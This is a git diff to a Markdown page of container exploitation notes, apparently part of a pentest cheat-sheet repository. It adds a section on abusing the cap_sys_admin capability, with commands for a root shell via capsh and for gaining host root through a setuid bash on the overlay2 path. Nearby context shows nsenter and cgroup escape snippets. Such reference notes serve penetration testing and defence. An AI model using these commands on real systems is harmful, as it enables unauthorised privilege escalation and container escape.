diff --git a/Exploits/Containers/Docker.md b/Exploits/Containers/Docker.md
index 5732548..a916b5b 100644
--- a/Exploits/Containers/Docker.md
+++ b/Exploits/Containers/Docker.md
@@ -93,6 +93,9 @@ nsenter --target 1 --mount sh
 ```
 
 ## Misconfiguration
+
+### capabilities 
+
 * Privileged container connect to the host directly, not through the docker engine
 * Execution of bins on the host from libs inside the container is possible
 ```sh
@@ -115,6 +118,19 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
 ```
 * The file may appear outside the container on the host system
 
+### cap_admin
+
+`cap_sys_admin` provides the ability to spawn a root shell inside the container
+```sh
+capsh --gid=0 --uid=0 --
+```
+
+Further, if there is access to the host this capability can be used to set `chmod u+s /bin/bash` and list the available mounts. The mounts can be listed `findmnt`.
+Resulting in a useable root bash on the host via executing it on the path of the docker volume, e.g.
+```sh
+/var/lib/docker/overlay2/l/randomhash/bin/bash -p
+```
+
 ## Check fdisk
 
 * `fdisk -l` and `lsblk`, host bulk device may be exposed